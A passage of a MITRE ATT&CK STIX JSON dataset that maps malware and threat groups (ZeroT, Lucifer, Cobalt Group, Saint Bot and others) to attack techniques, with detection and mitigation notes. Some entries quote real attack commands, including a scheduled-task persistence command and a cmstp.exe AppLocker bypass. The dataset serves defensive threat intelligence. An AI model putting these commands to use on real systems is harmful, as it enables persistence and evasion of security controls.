2021)","relationship_type":"uses","source_ref":"malware--efa7c4d6-8e30-41d9-a8fd-26dc337f4a1b","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5d818f5b-6145-4d8f-9be2-2d12fc1f71f1","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint ZeroT Feb 2017","description":"Huss, D., et al. (2017, February 2). Oops, they did it again: APT Targets Russia and Belarus with ZeroT and PlugX. Retrieved April 5, 2018.","url":"https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"}],"modified":"2020-03-17T02:54:39.683Z","description":"[ZeroT](https://attack.mitre.org/software/S0230) gathers the victim's IP address and domain information, and then sends it to its C2 server.(Citation: Proofpoint ZeroT Feb 2017)","relationship_type":"uses","source_ref":"malware--4ab44516-ad75-4e43-a280-705dc0420e2f","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5d82a197-44f8-46ab-a604-b66569022604","type":"relationship","created":"2022-03-30T14:26:51.863Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.863Z","description":"Monitor for newly constructed network device configuration and system image against a known-good version to discover unauthorized changes to system boot, startup configuration, or the running OS. The same process can be accomplished through a comparison of the run-time memory, though this is non-trivial and may require assistance from the vendor.","source_ref":"x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba","target_ref":"attack-pattern--7f0ca133-88c4-40c6-a62f-b3083a7fbc2e","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5d8315ce-3c76-4b78-8d6a-f0b7b101bcc0","type":"relationship","created":"2019-07-19T17:14:23.994Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Soft Cell June 2019","url":"https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers","description":"Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019."}],"modified":"2019-07-22T15:49:28.980Z","description":"[GALLIUM](https://attack.mitre.org/groups/G0093) packed some payloads using different types of packers, both known and custom.(Citation: Cybereason Soft Cell June 2019)","relationship_type":"uses","source_ref":"intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5d847c2a-ac23-4b74-a30c-f53acb3d0ef6","created":"2023-07-20T15:35:56.815Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Github CLI Create Webhook","description":"Github. (n.d.). Receiving webhooks with the GitHub CLI. Retrieved August 4, 2023.","url":"https://docs.github.com/en/webhooks-and-events/webhooks/receiving-webhooks-with-the-github-cli"},{"source_name":"Microsoft CLI Create Subscription","description":"Microsoft . (n.d.). Create subscription. Retrieved August 4, 2023.","url":"https://learn.microsoft.com/en-us/graph/api/subscription-post-subscriptions"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-02T21:37:12.123Z","description":"Monitor executed commands and arguments that may exfiltrate data to a webhook as a malicious command and control channel. Additionally, monitor commands that may create new webhook configurations in SaaS services - for example, `gh webhook forward` in Github or `mgc subscriptions create` in Office 365.(Citation: Github CLI Create Webhook)(Citation: Microsoft CLI Create Subscription)","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--43f2776f-b4bd-4118-94b8-fee47e69676d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5d881746-44f9-4865-86de-97253fc197fb","type":"relationship","created":"2021-03-19T21:04:01.281Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Valak July 2020","url":"https://unit42.paloaltonetworks.com/valak-evolution/","description":"Duncan, B. (2020, July 24). Evolution of Valak, from Its Beginnings to Mass Distribution. Retrieved August 31, 2020."},{"source_name":"Unit 42 TA551 Jan 2021","url":"https://unit42.paloaltonetworks.com/ta551-shathak-icedid/","description":"Duncan, B. (2021, January 7). TA551: Email Attack Campaign Switches from Valak to IcedID. Retrieved March 17, 2021."},{"source_name":"Secureworks GOLD CABIN","url":"https://www.secureworks.com/research/threat-profiles/gold-cabin","description":"Secureworks. (n.d.). GOLD CABIN Threat Profile. Retrieved March 17, 2021."}],"modified":"2021-03-25T15:34:04.436Z","description":"[TA551](https://attack.mitre.org/groups/G0127) has sent spearphishing attachments with password protected ZIP files.(Citation: Unit 42 Valak July 2020)(Citation: Unit 42 TA551 Jan 2021)(Citation: Secureworks GOLD CABIN)","relationship_type":"uses","source_ref":"intrusion-set--94873029-f950-4268-9cfd-5032e15cb182","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5d8e9a49-f534-4cb6-9e3e-aebacb3c1dd0","type":"relationship","created":"2020-05-26T16:17:59.683Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Rocke August 2018","url":"https://blog.talosintelligence.com/2018/08/rocke-champion-of-monero-miners.html","description":"Liebenberg, D.. (2018, August 30). Rocke: The Champion of Monero Miners. Retrieved May 26, 2020."},{"source_name":"Anomali Rocke March 2019","url":"https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang","description":"Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With a New Malware Family Written in Golang. Retrieved April 24, 2019."}],"modified":"2020-06-15T19:59:06.620Z","description":"[Rocke](https://attack.mitre.org/groups/G0106) conducted scanning for exposed TCP port 7001 as well as SSH and Redis servers.(Citation: Talos Rocke August 2018)(Citation: Anomali Rocke March 2019)","relationship_type":"uses","source_ref":"intrusion-set--44102191-3a31-45f8-acbe-34bdb441d5ad","target_ref":"attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5d914544-0a93-43ba-b890-1f4a4fa818e8","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Trojan.Hydraq Jan 2010","description":"Symantec Security Response. (2010, January 18). The Trojan.Hydraq Incident. Retrieved February 20, 2018.","url":"https://www.symantec.com/connect/blogs/trojanhydraq-incident"},{"source_name":"Symantec Hydraq Jan 2010","description":"Lelli, A. (2010, January 11). Trojan.Hydraq. Retrieved February 20, 2018.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2010-011114-1830-99"}],"modified":"2020-02-18T03:48:53.655Z","description":"[Hydraq](https://attack.mitre.org/software/S0203) creates a backdoor through which remote attackers can download files and additional malware components.(Citation: Symantec Trojan.Hydraq Jan 2010)(Citation: Symantec Hydraq Jan 2010)","relationship_type":"uses","source_ref":"malware--73a4793a-ce55-4159-b2a6-208ef29b326f","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--5d925633-c463-4ca8-afb7-888505c70633","created":"2022-04-14T21:51:35.834Z","x_mitre_version":"0.1","external_references":[{"source_name":"BiZone Lizar May 2021","url":"https://bi-zone.medium.com/from-pentest-to-apt-attack-cybercriminal-group-fin7-disguises-its-malware-as-an-ethical-hackers-c23c9a75e319","description":"BI.ZONE Cyber Threats Research Team. (2021, May 13). From pentest to APT attack: cybercriminal group FIN7 disguises its malware as an ethical hacker’s toolkit. Retrieved February 2, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Lizar](https://attack.mitre.org/software/S0681) has a plugin that can retrieve credentials from Internet Explorer and Microsoft Edge using `vaultcmd.exe` and another that can collect RDP access credentials using the `CredEnumerateW` function.(Citation: BiZone Lizar May 2021)","modified":"2022-04-14T21:51:35.834Z","relationship_type":"uses","source_ref":"malware--f74a5069-015d-4404-83ad-5ca01056c0dc","target_ref":"attack-pattern--d336b553-5da9-46ca-98a8-0b23f49fb447","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--5d96e66b-372a-43de-892d-30086d7ff00e","created":"2022-08-02T18:03:38.458Z","x_mitre_version":"0.1","external_references":[{"source_name":"CISA AR18-352A Quasar RAT December 2018","url":"https://www.cisa.gov/uscert/ncas/analysis-reports/AR18-352A","description":"CISA. (2018, December 18). Analysis Report (AR18-352A) Quasar Open-Source Remote Administration Tool. Retrieved August 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"\n[QuasarRAT](https://attack.mitre.org/software/S0262) has the ability to set file attributes to \"hidden\" to hide files from the compromised user's view in Windows File Explorer.(Citation: CISA AR18-352A Quasar RAT December 2018)","modified":"2022-08-02T18:03:38.458Z","relationship_type":"uses","source_ref":"tool--da04ac30-27da-4959-a67d-450ce47d9470","target_ref":"attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5d972f64-4c81-43ce-ba08-2c791bd78287","type":"relationship","created":"2020-11-16T20:48:01.885Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Lucifer June 2020","url":"https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/","description":"Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020."}],"modified":"2020-11-20T18:19:44.010Z","description":"[Lucifer](https://attack.mitre.org/software/S0532) has established persistence by creating the following scheduled task schtasks /create /sc minute /mo 1 /tn QQMusic ^ /tr C:Users\\%USERPROFILE%\\Downloads\\spread.exe /F.(Citation: Unit 42 Lucifer June 2020)","relationship_type":"uses","source_ref":"malware--54a73038-1937-4d71-a253-316e76d5413c","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5d9b14c3-70ea-46b3-9b0d-1595c215efec","type":"relationship","created":"2020-10-21T14:15:47.328Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mandiant - Synful Knock","url":"https://www.mandiant.com/resources/synful-knock-acis","description":"Bill Hau, Tony Lee, Josh Homan. (2015, September 15). SYNful Knock - A Cisco router implant - Part I. Retrieved October 19, 2020."}],"modified":"2021-12-14T23:14:26.102Z","description":"[SYNful Knock](https://attack.mitre.org/software/S0519) can be sent instructions via special packets to change its functionality. Code for new functionality can be included in these messages.(Citation: Mandiant - Synful Knock)","relationship_type":"uses","source_ref":"malware--84c1ecc6-e5a2-4e8a-bf4b-651a618e0053","target_ref":"attack-pattern--451a9977-d255-43c9-b431-66de80130c8c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5da3452c-3f93-42f0-98fd-54fa7bc0c562","created":"2023-09-27T20:50:30.182Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MoustachedBouncer ESET August 2023","description":"Faou, M. (2023, August 10). MoustachedBouncer: Espionage against foreign diplomats in Belarus. Retrieved September 25, 2023.","url":"https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-12T17:55:36.781Z","description":"[NightClub](https://attack.mitre.org/software/S1090) has used a non-standard encoding in DNS tunneling removing any `=` from the result of base64 encoding, and replacing `/` characters with `-s` and `+` characters with `-p`.(Citation: MoustachedBouncer ESET August 2023)","relationship_type":"uses","source_ref":"malware--91c57ed3-7c32-4c68-b388-7db00cb8dac6","target_ref":"attack-pattern--d467bc38-284b-4a00-96ac-125f447799fc","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--5da42f91-d58e-48bd-b8b2-3d35db7edcf2","created":"2022-06-09T20:46:02.975Z","x_mitre_version":"0.1","external_references":[{"source_name":"Malwarebytes Saint Bot April 2021","url":"https://blog.malwarebytes.com/threat-intelligence/2021/04/a-deep-dive-into-saint-bot-downloader/","description":"Hasherezade. (2021, April 6). A deep dive into Saint Bot, a new downloader. Retrieved June 9, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Saint Bot](https://attack.mitre.org/software/S1018) has used `check_registry_keys` as part of its environmental checks.(Citation: Malwarebytes Saint Bot April 2021)","modified":"2022-06-09T20:46:02.975Z","relationship_type":"uses","source_ref":"malware--7724581b-06ff-4d2b-b77c-80dc8d53070b","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5da52674-0e47-431e-b00a-d27dfdba373b","created":"2022-03-30T14:26:51.834Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-04T18:08:49.455Z","description":"Monitor executed commands and arguments for actions that could be taken to gather system and network information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nNote: Commands can also be obtained from Payload event field for PowerShell event id 4103. For PowerShell Module logging event id 4103, enable logging for module Microsoft.PowerShell.Management.\n\nAnalytic 1 - Suspicious Commands\n\nsourcetype=\"WinEventLog:Microsoft-Windows-PowerShell/Operational\" EventCode=\"4103\" | where CommandLine LIKE \"%Get-Process%\" AND CommandLine LIKE \"%mainWindowTitle%\"","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--5dadf8c9-3e69-4e5f-9dc2-829e6601aa11","created":"2022-06-09T20:52:53.080Z","x_mitre_version":"0.1","external_references":[{"source_name":"Malwarebytes Saint Bot April 2021","url":"https://blog.malwarebytes.com/threat-intelligence/2021/04/a-deep-dive-into-saint-bot-downloader/","description":"Hasherezade. (2021, April 6). A deep dive into Saint Bot, a new downloader. Retrieved June 9, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Saint Bot](https://attack.mitre.org/software/S1018) has created a scheduled task named \"Maintenance\" to establish persistence.(Citation: Malwarebytes Saint Bot April 2021)","modified":"2022-06-09T20:52:53.080Z","relationship_type":"uses","source_ref":"malware--7724581b-06ff-4d2b-b77c-80dc8d53070b","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5daee125-eb83-4529-889e-18de7115f688","type":"relationship","created":"2019-03-11T17:56:44.970Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/PowerShellEmpire/Empire","description":"Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.","source_name":"Github PowerShell Empire"}],"modified":"2021-04-09T14:46:59.563Z","description":"[Empire](https://attack.mitre.org/software/S0363) contains modules for executing commands over SSH as well as in-memory VNC agent injection.(Citation: Github PowerShell Empire)","relationship_type":"uses","source_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","target_ref":"attack-pattern--2db31dcd-54da-405d-acef-b9129b816ed6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5db02c00-0d28-4831-bad9-66737bb62eca","created":"2020-10-28T13:37:51.917Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cycraft Chimera April 2020","description":"Cycraft. (2020, April 15). APT Group Chimera - APT Operation Skeleton key Targets Taiwan Semiconductor Vendors. Retrieved August 24, 2020..","url":"https://cycraft.com/download/CyCraft-Whitepaper-Chimera_V4.1.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:23:16.572Z","description":"(Citation: Cycraft Chimera April 2020)","relationship_type":"uses","source_ref":"intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c","target_ref":"tool--066b057c-944e-4cfc-b654-e3dfba04b926","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5db107fe-7b8d-4093-a551-492eb4a72ed9","created":"2019-05-29T14:17:51.256Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Proofpoint TA505 Jan 2019","description":"Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019.","url":"https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-06T21:19:55.906Z","description":"[ServHelper](https://attack.mitre.org/software/S0382) has created a new user named \"supportaccount\".(Citation: Proofpoint TA505 Jan 2019)","relationship_type":"uses","source_ref":"malware--aae22730-e571-4d17-b037-65f2a3e26213","target_ref":"attack-pattern--635cbe30-392d-4e27-978e-66774357c762","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5db19a58-c7ff-4de0-b9bd-9e3b247b2ff3","type":"relationship","created":"2022-01-07T15:11:27.782Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos ZxShell Oct 2014","url":"https://blogs.cisco.com/security/talos/opening-zxshell","description":"Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019."}],"modified":"2022-01-07T15:11:27.782Z","description":"[ZxShell](https://attack.mitre.org/software/S0412) can transfer files from a compromised host.(Citation: Talos ZxShell Oct 2014)","relationship_type":"uses","source_ref":"malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5db4c540-d95b-4a38-9d05-c21d7c85c9b1","type":"relationship","created":"2021-03-01T21:55:30.000Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CERT-FR PYSA April 2020","url":"https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-003.pdf","description":"CERT-FR. (2020, April 1). ATTACKS INVOLVING THE MESPINOZA/PYSA RANSOMWARE. Retrieved March 1, 2021."}],"modified":"2021-03-01T21:55:30.000Z","description":"[Pysa](https://attack.mitre.org/software/S0583) has used Powershell scripts to deploy its ransomware.(Citation: CERT-FR PYSA April 2020) ","relationship_type":"uses","source_ref":"malware--a19c1197-9414-46e3-986f-0f609ff4a46b","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5db540e2-7f7d-4816-96f2-6498b3f14e5e","created":"2024-08-30T13:53:56.478Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-30T13:53:56.478Z","description":"Develop and publish policies that define acceptable information to be posted in chat applications. ","relationship_type":"mitigates","source_ref":"course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a","target_ref":"attack-pattern--fb75213f-cfb0-40bf-a02f-3bad93d6601e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5dbd040e-0433-42ca-8e03-b3741be31cb2","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html","description":"Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.","source_name":"Talos Cobalt Group July 2018"},{"source_name":"Morphisec Cobalt Gang Oct 2018","url":"https://blog.morphisec.com/cobalt-gang-2.0","description":"Gorelik, M. (2018, October 08). Cobalt Group 2.0. Retrieved November 5, 2018."},{"source_name":"Unit 42 Cobalt Gang Oct 2018","url":"https://researchcenter.paloaltonetworks.com/2018/10/unit42-new-techniques-uncover-attribute-cobalt-gang-commodity-builders-infrastructure-revealed/","description":"Unit 42. (2018, October 25). New Techniques to Uncover and Attribute Financial actors Commodity Builders and Infrastructure Revealed. Retrieved December 11, 2018."}],"modified":"2019-07-26T23:38:33.286Z","description":"[Cobalt Group](https://attack.mitre.org/groups/G0080) has used the command cmstp.exe /s /ns C:\\Users\\ADMINI~W\\AppData\\Local\\Temp\\XKNqbpzl.txt to bypass AppLocker and launch a malicious script.(Citation: Talos Cobalt Group July 2018)(Citation: Morphisec Cobalt Gang Oct 2018)(Citation: Unit 42 Cobalt Gang Oct 2018)","relationship_type":"uses","source_ref":"intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a","target_ref":"attack-pattern--4cbc6a62-9e34-4f94-8a19-5c1a11392a49","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--5dc3e7ec-34b2-41db-a49a-4b4de637ec7c","created":"2022-03-30T14:26:51.840Z","x_mitre_version":"0.1","external_references":[{"source_name":"AWS Cloud Trail Backup API","url":"https://docs.aws.amazon.com/aws-backup/latest/devguide/logging-using-cloudtrail.html","description":"Amazon. (2020). Logging AWS Backup API Calls with AWS CloudTrail. Retrieved April 27, 2020."},{"source_name":"GCP - Creating and Starting a VM","url":"https://cloud.google.com/compute/docs/instances/create-start-instance#api_2","description":"Google. (2020, April 23). Creating and Starting a VM instance. Retrieved May 1, 2020."},{"source_name":"Cloud Audit Logs","url":"https://cloud.google.com/logging/docs/audit#admin-activity","description":"Google. (n.d.). Audit Logs. Retrieved June 1, 2020."},{"source_name":"Azure - Monitor Logs","url":"https://docs.microsoft.com/en-us/azure/backup/backup-azure-monitoring-use-azuremonitor","description":"Microsoft. (2019, June 4). Monitor at scale by using Azure Monitor. Retrieved May 1, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"The creation of a snapshot is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities such as the creation of one or more snapshots and the restoration of these snapshots by a new user account.\nIn AWS, CloudTrail logs capture the creation of snapshots and all API calls for AWS Backup as events. Using the information collected by CloudTrail, you can determine the request that was made, the IP address from which the request was made, which user made the request, when it was made, and additional details.(Citation: AWS Cloud Trail Backup API)\nIn Azure, the creation of a snapshot may be captured in Azure activity logs. Backup restoration events can also be detected through Azure Monitor Log Data by creating a custom alert for completed restore jobs.(Citation: Azure - Monitor Logs)\nGoogle's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of the gcloud compute instances create command to create a new VM disk from a snapshot.(Citation: Cloud Audit Logs) It is also possible to detect the usage of the GCP API with the sourceSnapshot parameter pointed to global/snapshots/[BOOT_SNAPSHOT_NAME].(Citation: GCP - Creating and Starting a VM)","modified":"2022-04-20T03:35:55.354Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--3da222e6-53f3-451c-a239-0b405c009432","target_ref":"attack-pattern--ed2e45f9-d338-4eb2-8ce5-3a2e03323bc1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5dc6d333-b9e2-410e-a11a-a40fa092eb81","type":"relationship","created":"2022-03-30T14:26:51.850Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.850Z","description":"Monitor the file system and shell commands for files being created with a leading \".”","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5dcc3242-4a1e-4789-b70e-be6c66534e61","created":"2021-09-07T13:59:00.976Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kaspersky Transparent Tribe August 2020","description":"Dedola, G. (2020, August 20). Transparent Tribe: Evolution analysis, part 1. Retrieved September 2, 2021.","url":"https://securelist.com/transparent-tribe-part-1/98127/"},{"source_name":"Proofpoint Operation Transparent Tribe March 2016","description":"Huss, D. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 